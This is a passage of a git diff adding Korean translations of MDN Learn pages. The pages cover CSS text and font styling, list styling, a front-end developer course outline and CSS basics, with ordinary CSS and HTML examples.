웹 페이지에서 글꼴의 사용가능 여부를 보장할 수 없으므로 (어똔 이유로 웹 글꼴이 실패할 수 있음) 브라우저에서 선택할 수 있는 글꼴 스택 (font stack) 을 제공할 수 있습니다. 여기에는 여러 글꼴 이름으로 구성된 font-family 값이 포함됩니다. 예제:

+ +
p {
+  font-family: "Trebuchet MS", Verdana, sans-serif;
+}
+ +

이 경우, 브라우저는 목록 시작 부분에서 시작하여 해당 글꼴이 시스템에서 사용 가능한지 확인합니다. 이 글꼴이 있으면, 해당 글꼴이 선택한 요소에 적용됩니다. 그렇지 않으면, 다음 글꼴로 이동합니다.

+ +

나열된 글꼴 중 사용 가능한 글꼴이 없는 경우, 브라우저가 최소한 대략 비슷한 것을 제공할 수 있도록 스택 끝에 적절한 일반 글꼴 이름을 제공하는 것이 좋습니다.이 점을 강조하기 위해 다른 옵션 — 일반적으로 Time New Roman — 을 사용할 수 없는 경우 단락에 기본 serif 글꼴이 제공됩니다. 이는 san-serif 글꼴에 적합하지 않습니다!

+ +
+

참고: Trebuchet MS 와 같이 둘 이상의 단어가 있는 글꼴 이름은 따옴표로 묶어야합니다, 예를 들면 "Trebuchet MS".

+
+ +

font-family 예제

+ +

단락에 sans-serif 글꼴을 제공하여 이전 예제에 추가하겠습니다:

+ +
p {
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+}
+ +

결과는 다음과 같습니다:

+ + + +

{{ EmbedLiveSample('A_font-family_example', '100%', 220) }}

+ +

글꼴 크기

+ +

In our previous module's CSS values and units article, we reviewed length and size units. Font size (set with the {{cssxref("font-size")}} property) can take values measured in most of these units (and others, such as percentages), however the most common units you'll use to size text are:

+ + + +

The font-size of an element is inherited from that element's parent element. This all starts with the root element of the entire document — {{htmlelement("html")}} — the font-size of which is set to 16px as standard across browsers. Any paragraph (or other element that doesn't have a different size set by the browser) inside the root element will have a final size of 16px. Other elements may have different default sizes, for example an {{htmlelement("h1")}} element has a size of 2ems set by default, so will have a final size of 32px.

+ +

Things become more tricky when you start altering the font size of nested elements. For example, if you had an {{htmlelement("article")}} element in your page, and set its font-size to 1.5ems (which would compute to 24px final size), and then wanted the paragraphs inside the <article> elements to have a computed font size of 20px, what em value would you use?

+ +
<!-- document base font-size is 16px -->
+<article> <!-- If my font-size is 1.5em -->
+  <p>My paragraph</p> <!-- How do I compute to 20px font-size? -->
+</article>
+ +

You would need to set its em value to 20/24, or 0.83333333ems. The maths can be complicated, so you need to be careful about how you style things. It is best to use rems where you can, to keep things simple, and avoid setting the font-size of container elements where possible.

+ +

A simple sizing example

+ +

When sizing your text, it is usually a good idea to set the base font-size of the document to 10px, so that then the maths is a lot easier to work out — required (r)em values are then the pixel font size divided by 10, not 16. After doing that, you can easily size the different types of text in your document to what you want. It is a good idea to list all your font-size rulesets in a designated area in your stylesheet, so they are easy to find.

+ +

Our new result is like so:

+ + + +
html {
+  font-size: 10px;
+}
+
+h1 {
+  font-size: 2.6rem;
+}
+
+p {
+  font-size: 1.4rem;
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+}
+ +

{{ EmbedLiveSample('A_simple_sizing_example', '100%', 220) }}

+ +

Font style, font weight, text transform, and text decoration

+ +

CSS provides four common properties to alter the visual weight/emphasis of text:

+ + + +

Let's look at adding a couple of these properties to our example:

+ +

Our new result is like so:

+ + + +
html {
+  font-size: 10px;
+}
+
+h1 {
+  font-size: 2.6rem;
+  text-transform: capitalize;
+}
+
+h1 + p {
+  font-weight: bold;
+}
+
+p {
+  font-size: 1.4rem;
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+}
+ +

{{ EmbedLiveSample('Font_style_font_weight_text_transform_and_text_decoration', '100%', 220) }}

+ +

Text drop shadows

+ +

You can apply drop shadows to your text using the {{cssxref("text-shadow")}} property. This takes up to four values, as shown in the example below:

+ +
text-shadow: 4px 4px 5px red;
+ +

The four properties are as follows:

+ +
    +
  1. The horizontal offset of the shadow from the original text — this can take most available CSS length and size units, but you'll most commonly use px. This value has to be included.
  2. +
  3. The vertical offset of the shadow from the original text; behaves basically just like the horizontal offset, except that it moves the shadow up/down, not left/right. This value has to be included.
  4. +
  5. The blur radius — a higher value means the shadow is dispersed more widely. If this value is not included, it defaults to 0, which means no blur. This can take most available CSS length and size units.
  6. +
  7. The base color of the shadow, which can take any CSS color unit. If not included, it defaults to black.
  8. +
+ +
+

Note: Positive offset values move the shadow right and down, but you can also use negative offset values to move the shadow left and up, for example -1px -1px.

+
+ +

Multiple shadows

+ +

You can apply multiple shadows to the same text by including multiple shadow values separated by commas, for example:

+ +
text-shadow: -1px -1px 1px #aaa,
+             0px 4px 1px rgba(0,0,0,0.5),
+             4px 4px 5px rgba(0,0,0,0.7),
+             0px 0px 7px rgba(0,0,0,0.4);
+ +

If we applied this to the {{htmlelement("h1")}} element in our Tommy the cat example, we'd end up with this:

+ + + +

{{ EmbedLiveSample('Multiple_shadows', '100%', 220) }}

+ +
+

Note: You can see more interesting examples of text-shadow usage in the Sitepoint article Moonlighting with CSS text-shadow.

+
+ +

텍스트 레이아웃

+ +

With basic font properties out the way, let's now have a look at properties we can use to affect text layout.

+ +

텍스트 정렬

+ +

The {{cssxref("text-align")}} property is used to control how text is aligned within its containing content box. The available values are as follows, and work in pretty much the same way as they do in a regular word processor application:

+ + + +

If we applied text-align: center; to the {{htmlelement("h1")}} in our example, we'd end up with this:

+ + + +

{{ EmbedLiveSample('Text_alignment', '100%', 220) }}

+ +

Line height

+ +

The {{cssxref("line-height")}} property sets the height of each line of text — this can take most length and size units, but can also take a unitless value, which acts as a multiplier and is generally considered the best option — the {{cssxref("font-size")}} is multiplied to get the line-height. Body text generally looks nicer and is easier to read when the lines are spaced apart; the recommended line height is around 1.5–2 (double spaced.) So to set our lines of text to 1.5 times the height of the font, you'd use this:

+ +
line-height: 1.5;
+ +

Applying this to the {{htmlelement("p")}} elements in our example would give us this result:

+ + + +

{{ EmbedLiveSample('Line_height', '100%', 250) }}

+ +

Letter and word spacing

+ +

The {{cssxref("letter-spacing")}} and {{cssxref("word-spacing")}} properties allow you to set the spacing between letters and words in your text. You won't use these very often, but might find a use for them to get a certain look, or to improve the legibility of a particularly dense font. They can take most length and size units.

+ +

So as an example, if we applied the following to the first line of the {{htmlelement("p")}} elements in our example:

+ +
p::first-line {
+  letter-spacing: 2px;
+  word-spacing: 4px;
+}
+ +

We'd get the following:

+ + + +

{{ EmbedLiveSample('Letter_and_word_spacing', '100%', 250) }}

+ +

볼 가치가 있는 다른 속성들

+ +

The above properties give you an idea of how to start styling text on a webpage, but there are many more properties you could use. We just wanted to cover the most important ones here. Once you've become used to using the above, you should also explore the following:

+ +

Font styles:

+ + + +

Text layout styles

+ + + +

글꼴 약식 (shorthand)

+ +

Many font properties can also be set through the shorthand property {{cssxref("font")}}. These are written in the following order:  {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-weight")}}, {{cssxref("font-stretch")}}, {{cssxref("font-size")}}, {{cssxref("line-height")}}, and {{cssxref("font-family")}}.

+ +

Among all those properties, only font-size and font-family are required when using the font shorthand property.

+ +

A forward slash has to be put in between the {{cssxref("font-size")}} and {{cssxref("line-height")}} properties.

+ +

A full example would look like this:

+ +
font: italic normal bold normal 3em/1.5 Helvetica, Arial, sans-serif;
+ +

Active learning: Playing with styling text

+ +

In this active learning session, we don't have any specific exercises for you to do: we'd just like you to have a good play with some font/text layout properties, and see what you can produce! You can either do this using offline HTML/CSS files, or enter your code into the live editable example below.

+ +

If you make a mistake, you can always reset it using the Reset button.

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 800) }}

+ +

Summary

+ +

We hoped you enjoyed playing with text in this article! The next article will give you all you need to know about styling HTML lists.

+ +

{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}

+ +

In this module

+ + diff --git a/files/ko/learn/css/styling_text/index.html b/files/ko/learn/css/styling_text/index.html new file mode 100644 index 0000000000..1a5f780b9a --- /dev/null +++ b/files/ko/learn/css/styling_text/index.html @@ -0,0 +1,48 @@ +--- +title: 텍스트 스타일링 +slug: Learn/CSS/Styling_text +tags: + - CSS + - 그림자 + - 리스트 + - 모듈 + - 웹 폰트 + - 초보자 + - 폰트 +translation_of: Learn/CSS/Styling_text +--- +
{{LearnSidebar}}
+ +

CSS 기초가 어느 정도 완성되었다면,  여러분이 집중해야 할 다음 CSS 주제는 CSS로 가장 흔하게 할 것 중 하나인 텍스트를 꾸며주는 것입니다. 우리는 글꼴 과 볼드체, 이탤릭체, 줄 띄어쓰기, 단어 띄어쓰기, 그림자 넣기 등과 같은 텍스트 기능을 설정하는 것을 포함한 텍스트 스타일링의 기초를 배웁니다. 여러분의 페이지에 사용자 정의 글꼴을 설정하고 리스트와 링크를 꾸며줌으로써 이 강의를 끝마칩니다. 

+ +

전제 조건

+ +

이 강의를 시작하기 전에, HTML 소개 에서 설명한대로 이미 HTML 에 대해 잘 알고 있어야하며, CSS 소개 에서 설명한대로 CSS 기본 사항에 익숙해야합니다.

+ +
+

참고: 자신의 파일을 만들 수 없는 컴퓨터/태블릿/기타 장치에서 작업하는 경우, JSBin, CodePen 또는 Thimble 와 같은 온라인 코딩 프로그램에서 대부분의 코드 예제를 시험해 볼 수 있습니다.

+
+ +

안내

+ +

이 강의에는 다음 기사가 포함되어 있으며, HTML 텍스트 콘텐츠를 스타일링하는 데 필요한 모든 기본 사항을 알려줍니다.

+ +
+
기본적인 텍스트 및 글꼴 스타일
+
이 기사에서는 글꼴 굵기, 종류 및 스타일 설정, 글꼴 약식 (shorthand), 텍스트 정렬 및 기타 효과, 줄 및 문자 간격 설정을 포함하여 텍스트/글꼴 스타일의 모든 기본 사항을 자세히 설명합니다.
+
목록 스타일링
+
목록은 대부분 다른 텍스트처럼 작동하지만, 알아야 할 목록과 관련된 몇 가지 CSS 속성과 고려해야 할 모범 사례가 있습니다. 이 기사는 모든 것을 설명합니다.
+
링크 스타일링
+
링크를 스타일링 할 때, pseudo-classes 를 사용하여 링크 상태를 효과적으로 스타일링하는 방법과 네비게이션 메뉴 및 탭과 같은 일반적인 다양한 인터페이스 기능을 사용하기 위해 링크를 스타일링하는 방법을 이해하는 것이 중요합니다. 이 기사에서는 이러한 모든 주제를 살펴볼 것입니다.
+
웹 글꼴
+
여기에서는 웹 글꼴을 자세하게 살펴볼 것입니다 — 웹 글꼴과 함께 사용자 정의 글꼴을 다운로드하여, 보다 다양한 사용자 정의 텍스트 스타일을 지정할 수 있습니다.
+
+ +

평가

+ +

다음 평가는 위의 안내에서 다루는 텍스트 스타일링 기술에 대한 이해를 테스트합니다.

+ +
+
커뮤니티 스쿨 홈페이지 typesetting
+
이 평가에서는 커뮤니티 스툴 홈페이지의 텍스트 스타일을 지정함으로써 스타일 텍스트에 대한 이해를 테스트합니다.
+
diff --git a/files/ko/learn/css/styling_text/styling_lists/index.html b/files/ko/learn/css/styling_text/styling_lists/index.html new file mode 100644 index 0000000000..843636c554 --- /dev/null +++ b/files/ko/learn/css/styling_text/styling_lists/index.html @@ -0,0 +1,389 @@ +--- +title: 목록 스타일링 +slug: Learn/CSS/Styling_text/Styling_lists +translation_of: Learn/CSS/Styling_text/Styling_lists +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/CSS/Styling_text/Fundamentals", "Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text")}}
+ +

목록 은 대부분 다른 텍스트처럼 작동하지만, 알아야 할 목록과 관련된 몇 가지 CSS 속성과 고려해야 할 모범 사례가 있습니다. 이 기사는 모든 것을 설명합니다.

+ + + + + + + + + + + + +
전제조건:Basic computer literacy, HTML basics (study Introduction to HTML), CSS basics (study Introduction to CSS), CSS text and font fundamentals.
목적:목록 스타일과 관련된 모범 사례 및 속성에 익숙해지기.
+ +

간단한 목록 예제

+ +

우선, 간단한 목록 예제를 봅시다. 이 기사 전체에서 우리는 순서가 없는, 순서가 있는,  설명 목록을 살펴볼 것입니다 — 모두 유사한 스타일링 기능이 있으며, 일부 유형은 목록 유형과 다릅니다. 스타일이 지정되지 않은 예제는 Github 에서 가능 합니다 (소스 코드 도 확인하십시오.)

+ +

목록 예제의 HTML 은 다음과 같습니다:

+ +
<h2>Shopping (unordered) list</h2>
+
+<p>Paragraph for reference, paragraph for reference, paragraph for reference,
+paragraph for reference, paragraph for reference, paragraph for reference.</p>
+
+<ul>
+  <li>Hummus</li>
+  <li>Pita</li>
+  <li>Green salad</li>
+  <li>Halloumi</li>
+</ul>
+
+<h2>Recipe (ordered) list</h2>
+
+<p>Paragraph for reference, paragraph for reference, paragraph for reference,
+paragraph for reference, paragraph for reference, paragraph for reference.</p>
+
+<ol>
+  <li>Toast pita, leave to cool, then slice down the edge.</li>
+  <li>Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li>
+  <li>Wash and chop the salad.</li>
+  <li>Fill pita with salad, hummus, and fried halloumi.</li>
+</ol>
+
+<h2>Ingredient description list</h2>
+
+<p>Paragraph for reference, paragraph for reference, paragraph for reference,
+paragraph for reference, paragraph for reference, paragraph for reference.</p>
+
+<dl>
+  <dt>Hummus</dt>
+  <dd>A thick dip/sauce generally made from chick peas blended with tahini, lemon juice, salt, garlic, and other ingredients.</dd>
+  <dt>Pita</dt>
+  <dd>A soft, slightly leavened flatbread.</dd>
+  <dt>Halloumi</dt>
+  <dd>A semi-hard, unripened, brined cheese with a higher-than-usual melting point, usually made from goat/sheep milk.</dd>
+  <dt>Green salad</dt>
+  <dd>That green healthy stuff that many of us just use to garnish kebabs.</dd>
+</dl>
+ +

If you go to the live example now and investigate the list elements using browser developer tools, you'll notice a couple of styling defaults:

+ + + +

Handling list spacing

+ +

When styling lists, you need to adjust their styles so they keep the same vertical spacing as their surrounding elements (such as paragraphs and images; sometimes called vertical rhythm), and the same horizontal spacing as each other (you can see the finished styled example on Github, and find the source code too.)

+ +

The CSS used for the text styling and spacing is as follows:

+ +
/* General styles */
+
+html {
+  font-family: Helvetica, Arial, sans-serif;
+  font-size: 10px;
+}
+
+h2 {
+  font-size: 2rem;
+}
+
+ul,ol,dl,p {
+  font-size: 1.5rem;
+}
+
+li, p {
+  line-height: 1.5;
+}
+
+/* Description list styles */
+
+
+dd, dt {
+  line-height: 1.5;
+}
+
+dt {
+  font-weight: bold;
+}
+
+dd {
+  margin-bottom: 1.5rem;
+}
+ + + +

List-specific styles

+ +

Now we've looked at general spacing techniques for lists, let's explore some list-specific properties. There are three properties you should know about to start with, which can be set on {{htmlelement("ul")}} or {{htmlelement("ol")}} elements:

+ + + +

Bullet styles

+ +

As mentioned above, the {{cssxref("list-style-type")}} property allows you to set what type of bullet to use for the bullet points. In our example, we've set the ordered list to use uppercase roman numerals, with:

+ +
ol {
+  list-style-type: upper-roman;
+}
+ +

This gives us the following look:

+ +

an ordered list with the bullet points set to appear outside the list item text.

+ +

You can find a lot more options by checking out the {{cssxref("list-style-type")}} reference page.

+ +

Bullet position

+ +

The {{cssxref("list-style-position")}} property sets whether the bullets appear inside the list items, or outside them before the start of each item. The default value is outside, which causes the bullets to sit outside the list items, as seen above.

+ +

If you set the value to inside, the bullets will sit inside the lines:

+ +
ol {
+  list-style-type: upper-roman;
+  list-style-position: inside;
+}
+ +

an ordered list with the bullet points set to appear inside the list item text.

+ +

Using a custom bullet image

+ +

The {{cssxref("list-style-image")}} property allows you to use a custom image for your bullet. The syntax is pretty simple:

+ +
ul {
+  list-style-image: url(star.svg);
+}
+ +

However, this property is a bit limited in terms of controlling the position, size, etc. of the bullets. You are better off using the {{cssxref("background")}} family of properties, which you'll learn a lot more about in the Styling boxes module. For now, here's a taster!

+ +

In our finished example, we have styled the unordered list like so (on top of what you've already seen above):

+ +
ul {
+  padding-left: 2rem;
+  list-style-type: none;
+}
+
+ul li {
+  padding-left: 2rem;
+  background-image: url(star.svg);
+  background-position: 0 0;
+  background-size: 1.6rem 1.6rem;
+  background-repeat: no-repeat;
+}
+ +

Here we've done the following:

+ + + +

This gives us the following result:

+ +

an unordered list with the bullet points set as little star images

+ +

list-style shorthand

+ +

The three properties mentioned above can all be set using a single shorthand property, {{cssxref("list-style")}}. For example, the following CSS:

+ +
ul {
+  list-style-type: square;
+  list-style-image: url(example.png);
+  list-style-position: inside;
+}
+ +

Could be replaced by this:

+ +
ul {
+  list-style: square url(example.png) inside;
+}
+ +

The values can be listed in any order, and you can use one, two or all three (the default values used for the properties that are not included are disc, none, and outside). If both a type and an image are specified, the type is used as a fallback if the image can't be loaded for some reason.

+ +

Controlling list counting

+ +

Sometimes you might want to count differently on an ordered list — e.g. starting from a number other than 1, or counting backwards, or counting in steps of more than 1. HTML and CSS have some tools to help you here.

+ +

start

+ +

The {{htmlattrxref("start","ol")}} attribute allows you to start the list counting from a number other than 1. The following example:

+ +
<ol start="4">
+  <li>Toast pita, leave to cool, then slice down the edge.</li>
+  <li>Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li>
+  <li>Wash and chop the salad.</li>
+  <li>Fill pita with salad, hummus, and fried halloumi.</li>
+</ol>
+ +

Gives you this output:

+ +

{{ EmbedLiveSample('start', '100%', 150) }}

+ +

reversed

+ +

The {{htmlattrxref("reversed","ol")}} attribute will start the list counting down instead of up. The following example:

+ +
<ol start="4" reversed>
+  <li>Toast pita, leave to cool, then slice down the edge.</li>
+  <li>Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li>
+  <li>Wash and chop the salad.</li>
+  <li>Fill pita with salad, hummus, and fried halloumi.</li>
+</ol>
+ +

Gives you this output:

+ +

{{ EmbedLiveSample('reversed', '100%', 150) }}

+ +
+

Note: If there are more list items in a reversed list than the value of the start attribute, the count will continue to zero and then into negative values. 

+
+ +

value

+ +

The {{htmlattrxref("value","ol")}} attribute allows you to set your list items to specific numerical values. The following example:

+ +
<ol>
+  <li value="2">Toast pita, leave to cool, then slice down the edge.</li>
+  <li value="4">Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li>
+  <li value="6">Wash and chop the salad.</li>
+  <li value="8">Fill pita with salad, hummus, and fried halloumi.</li>
+</ol>
+ +

Gives you this output:

+ +

{{ EmbedLiveSample('value', '100%', 150) }}

+ +
+

Note: Even if you are using a non-number {{cssxref("list-style-type")}}, you still need to use the equivalent numerical values in the value attribute.

+
+ +

Active learning: Styling a nested list

+ +

In this active learning session, we want you to take what you've learned above and have a go at styling a nested list. We've provided you with the HTML, and we want you to:

+ +
    +
  1. Give the unordered list square bullets.
  2. +
  3. Give the unordered list items and the ordered list items a line height of 1.5 of their font-size.
  4. +
  5. Give the ordered list lower alphabetical bullets.
  6. +
  7. Feel free to play with the list example as much as you like, experimenting with bullet types, spacing, or whatever else you can find.
  8. +
+ +

If you make a mistake, you can always reset it using the Reset button. If you get really stuck, press the Show solution button to see a potential answer.

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 800) }}

+ +

See also

+ +

CSS counters provide advanced tools for customizing list counting and styling, but they are quite complex. We recommend looking into these if you want to stretch yourself. See:

+ + + +

Summary

+ +

Lists are relatively easy to get the hang of styling once you know a few associated basic principles and specific properties. In the next article we'll get on to link styling techniques.

+ +

{{PreviousMenuNext("Learn/CSS/Styling_text/Fundamentals", "Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text")}}

+ + + +

In this module

+ + diff --git a/files/ko/learn/front-end_web_developer/index.html b/files/ko/learn/front-end_web_developer/index.html new file mode 100644 index 0000000000..0d0ae72a9b --- /dev/null +++ b/files/ko/learn/front-end_web_developer/index.html @@ -0,0 +1,194 @@ +--- +title: Front-end web developer +slug: Learn/Front-end_web_developer +translation_of: Learn/Front-end_web_developer +--- +

{{learnsidebar}}

+ +

프론트 개발자가 되는 과정에 오신 것을 환영합니다!

+ +

여기에서는 프론트 엔드 웹 개발자가 되기 위해 알아야 할 모든 것을 배울수 있는 체계적인 강좌를 제공합니다. 각 섹션을 통해 학습하면서 새로운 기술을 배우거나 기존 기술을 개선하세요. 각 섹션에는 진행하기 전에 잘 이해하고 있는지 확인하기 위한 연습 및 평가가 포함되어 있습니다.

+ +

다루는 주제

+ +

다루는 내용은 다음과 같습니다.

+ + + +

섹션을 순서대로 살펴볼 수 있지만, 각 섹션은 독립적입니다. 예를들어 이미 HTML을 알고 있는 경우 CSS 섹션으로 건너뛸 수 있습니다.

+ +

전제 조건

+ +

이 강좌를 시작하기 위한 사전 지식은 필요하지 않습니다. 최신 웹 브라우저를 실행할 수 있는 컴퓨터, 인터넷 연결, 학습 의지만 있으면 됩니다.

+ +

프론트 엔드 웹 개발이 자신에게 적합한지 확실하지 않거나, 더 길고 완전한 과정을 시작하기 전에 부드러운 소개를 원하면 먼저 웹과 함께 시작하기 를 읽어보세요.

+ +

도움말 얻기

+ +

우리는 가능한 한 편안하게 프론트 엔드 웹 개발을 학습할 수 있도록 노력했습니다. 그러나 무언가를 이해하지 못하거나 일부 코드가 작동하지 않아 학습을 멈추게 될 수 있습니다.

+ +

당황하지 마세요. 우리는 초보자든 전문 웹 개발자든 모두 어떤 문제에 막혀 있습니다. 학습 및 도움말 얻기 문서는 정보를 찾고 도움을 줄 수 있는 일련의 팁을 제공합니다. 그래도 문제가 해결되지 않는다면 Discourse forum에 문제를 게시하세요.

+ +

시작합시다. 행운을 빌어요!

+ +

학습 과정

+ +

시작하기

+ +

완료 시간: 1.5–2 시간

+ +

전제 조건

+ +

기본적인 컴퓨터 사용 능력 외에는 아무것도 없습니다.

+ +

앞으로 나아갈 준비가 되었는지 어떻게 알 수 있나요?

+ +

이 강좌에는 평가가 없습니다. 그러나 건너뛰지 마세요. 강좌의 후반부에 있는 연습문제를 준비하는것도 중요합니다.

+ +

가이드

+ + + +

HTML을 사용한 의미론과 구조

+ +

완료 시간: 35–50 시간

+ +

전제 조건

+ +

기본적인 컴퓨터 활용 능력과 기본적인 웹 개발 환경 외에는 아무것도 없습니다.

+ +

앞으로 나아갈 준비가 되었는지 어떻게 알 수 있나요?

+ +

각 모듈(교과목 단위)의 평가는 주제에 대한 지식을 테스트하도록 설계되었습니다.
+ 평가를 완료하면 다음 모듈로 이동할 준비가 된 것입니다.

+ +

모듈

+ + + +

CSS를 사용한 스타일링 및 레이아웃

+ +

완료 시간: 90–120 시간

+ +

전제조건

+ +

CSS를 배우기 전에 기본적인 HTML 지식을 갖고 있는 것이 좋습니다. 최소한 HTML 소개 를 먼저 공부해야 합니다.

+ +

앞으로 나아갈 준비가 되었는지 어떻게 알 수 있나요?

+ +

각 모듈의 평가는 주제에 대한 지식을 테스트하도록 설계되었습니다.
+ 평가를 완료하면 다음 모듈로 이동할 준비가 된 것입니다.

+ +

모듈

+ + + +

추가 자료

+ + + +

JavaScript와의 상호작용

+ +

완료 시간: 135–185 시간

+ +

전제 조건

+ +

Javascript를 배우기 전에 기본적인 HTML 지식을 갖고 있는 것이 좋습니다. 최소한 HTML 소개 를 먼저 공부해야 합니다.

+ +

앞으로 나아갈 준비가 되었는지 어떻게 알 수 있나요?

+ +

각 모듈의 평가는 주제에 대한 지식을 테스트하도록 설계되었습니다.
+ 평가를 완료하면 다음 모듈로 이동할 준비가 된 것입니다.

+ +

모듈

+ + + +

웹 폼 — 유저 데이터 작업

+ +

완료 시간: 40–50 시간

+ +

전제 조건

+ +

Form에는 HTML, CSS, and JavaScript 지식이 필요합니다. Form 작업의 복잡성을 감안할 때 자주 접하는 내용입니다.

+ +

앞으로 나아갈 준비가 되었는지 어떻게 알 수 있나요?

+ +

각 모듈의 평가는 주제에 대한 지식을 테스트하도록 설계되었습니다.
+ 평가를 완료하면 다음 모듈로 이동할 준비가 된 것입니다.

+ +

모듈

+ + + +

모두를 위한 웹 작동 시키기

+ +

완료 시간: 60–75 시간

+ +

전제 조건

+ +

이 섹션을 진행하기 전에 HTML, CSS, JavaScript를 아는 것이 좋습니다. 많은 기술과 모범 사례(best practices)가 여러 기술에 적용됩니다.

+ +

앞으로 나아갈 준비가 되었는지 어떻게 알 수 있나요?

+ +

각 모듈의 평가는 주제에 대한 지식을 테스트하도록 설계되었습니다.
+ 평가를 완료하면 다음 모듈로 이동할 준비가 된 것입니다.

+ +

모듈

+ + + +

최신 도구

+ +

완료 시간: 55–90 시간

+ +

전제 조건

+ +

이 섹션을 진행하기 전에 HTML, CSS, JavaScript를 아는 것이 좋습니다. 논의하는 도구들은 이러한 많은 기술과 함께 작동합니다.

+ +

앞으로 나아갈 준비가 되었는지 어떻게 알 수 있나요?

+ +

이 모듈에는 특정 평가가 없습니다. 두 번째, 세 번째 모듈의 끝에 있는 사례 연구 자습서는 최신 도구의 필수 요소를 파악할 수 있도록 준비했습니다.

+ +

모듈

+ + diff --git "a/files/ko/learn/getting_started_with_the_web/css_\352\270\260\353\263\270/index.html" "b/files/ko/learn/getting_started_with_the_web/css_\352\270\260\353\263\270/index.html" new file mode 100644 index 0000000000..a5e8e08648 --- /dev/null +++ "b/files/ko/learn/getting_started_with_the_web/css_\352\270\260\353\263\270/index.html" @@ -0,0 +1,293 @@ +--- +title: CSS 기초 +slug: Learn/Getting_started_with_the_web/CSS_기본 +tags: + - CSS + - 'l10n:priority' + - 꾸미기 + - 스크립트 코딩 + - 웹 + - 초보자 + - 학습 +translation_of: Learn/Getting_started_with_the_web/CSS_basics +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web")}}
+ +
+

CSS (Cascading Style Sheets)는 웹페이지를 꾸미려고 작성하는 코드입니다. CSS 기초 에서 여러분이 처음 시작하며 필요한 내용을 익히도록 도와드립니다. 저희는 다음과 같은 질문에 관한 답을 드리겠습니다. 어떻게 하면 글자색을 검정이나 빨갛게 할 수 있을까? 어떻게 하면 콘텐츠를 화면의 이런 저런 곳에 보이게 할 수 있을까? 어떻게 하면 배경 이미지와 색상들로 웹페이지를 꾸밀 수 있을까?

+
+ +

그래서 CSS가 뭔가요?

+ +

HTML와 같이 CSS는 실제로 프로그래밍 언어는 아닙니다. 마크업(markup) 언어 도 아닙니다. Style sheet 언어 입니다. HTML 문서에 있는 요소들에 선택적으로 스타일을 적용할 수 있다는 말입니다. 예를 들면, HTML 페이지에서 모든 문단 요소들을 선택하고 그 문단 요소들 안에 있는 텍스트를 빨갛게 바꾸려고 한다면 다음과 같이 CSS를 작성할 것입니다.

+ +
p {
+  color: red;
+}
+ +

한 번 해봅시다. 텍스트 에디터의 새 파일에 위의 CSS 3줄을 복사해 붙여넣으세요. 그다음에 styles 디렉토리에 style.css로 파일을 저장하세요.

+ +

아직 여러분의 HTML 문서에 CSS를 적용하는 것이 남아 있습니다. 그렇지 않으면 CSS 스타일은 그 HTML 문서가 브라우저에 표시될 때 아무 영향도 주지 않을 것입니다. (여러분이 우리 프로젝트를 따라오지 않으셨다면, 파일 다루기HTML 기본을 읽고 무엇이 먼저 필요한지를 알아보시기 바랍니다.)

+ +
    +
  1. index.html 파일을 열고 head의 안쪽 어딘가(즉, <head></head> 태그 사이)에 아래의 코드를 붙여 넣으세요: + +
    <link href="styles/style.css" rel="stylesheet" type="text/css">
    +
  2. +
  3. index.html을 저장하고 브라우저에서 불러오세요. 여러분은 다음과 같은 것을 보게 되실겁니다:
  4. +
+ +

A mozilla logo and some paragraphs. The paragraph text has been styled red by our css.문단의 글자가 빨간색이라면 축하드립니다! 지금 여러분은 첫번째 CSS 를 성공적으로 작성하셨습니다!

+ +

CSS의 ruleset 해부

+ +

위의 CSS를 좀 더 자세히 살펴 봅시다:

+ +

+ +

전체 구조는 rule set 라 불립니다 (하지만 종종 줄여서 "rule"이라고 합니다). 각 부분의 이름에도 주목하세요:

+ +
+
선택자(selector)
+
rule set의 맨 앞에 있는 HTML 요소 이름. 이것은 꾸밀 요소(들)을 선택합니다 (이 예에서는 p 요소). 다른 요소를 꾸미기 위해서는 선택자만 바꿔주세요.
+
선언
+
color: red와 같은 단일 규칙; 여러분이 꾸미기 원하는 요소의 속성을 명시합니다.
+
속성(property)
+
주어진 HTML 요소를 꾸밀 수 있는 방법입니다. (이 예에서, color는 p 요소의 속성입니다.) CSS에서, rule 내에서 영향을 줄 속성을 선택합니다.
+
속성 값
+
속성의 오른쪽에, 콜론 뒤에, 주어진 속성을 위한 많은 가능한 결과중 하나를 선택하기 위해 속성 값을 갖습니다 (color 의 값에는 red 외에 많은 것이 있습니다).
+
+ +

구문의 다른 중요한 부분들도 주목하세요:

+ + + +

그러니까 여러 속성 값들을 한번에 수정하기 위해서는, 세미콜론으로 구분해서 작성해야 합니다, 이렇게요:

+ +
p {
+  color: red;
+  width: 500px;
+  border: 1px solid black;
+}
+ +

여러 요소 선택하기

+ +

여러분은 요소의 여러 타입을 선택하고 모두에게 하나의 rule set 을 적용할 수도 있습니다. 여러 선택자는 콤마로 구분합니다. 예를 들면:

+ +
p,li,h1 {
+  color: red;
+}
+ +

선택자의 여러 종류

+ +

선택자는 여러 종류가 있습니다. 위에서, 우리는 주어진 HTML 문서안에 주어진 타입의 모든 요소를 선택하는 요소 선택자만 보았습니다. 하지만 이것보다 더 구체적인 선택을 만들 수 있습니다. 이것은 선택자의 일반적인 종류들입니다:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
선택자 이름선택하는 것예시
요소 선택자 (때때로 태그 또는 타입 선택자라 불림)특정 타입의 모든 HTML 요소.p
+ <p> 를 선택
아이디 선택자특정 아이디를 가진 페이지의 요소 (주어진 HTML 페이지에서, 아이디당 딱 하나의 요소만 허용됩니다).#my-id
+ <p id="my-id">  또는  <a id="my-id"> 를 선택
클래스 선택자특정 클래스를 가진 페이지의 요소 (한 페이지에 클래스가 여러번 나타날 수 있습니다)..my-class
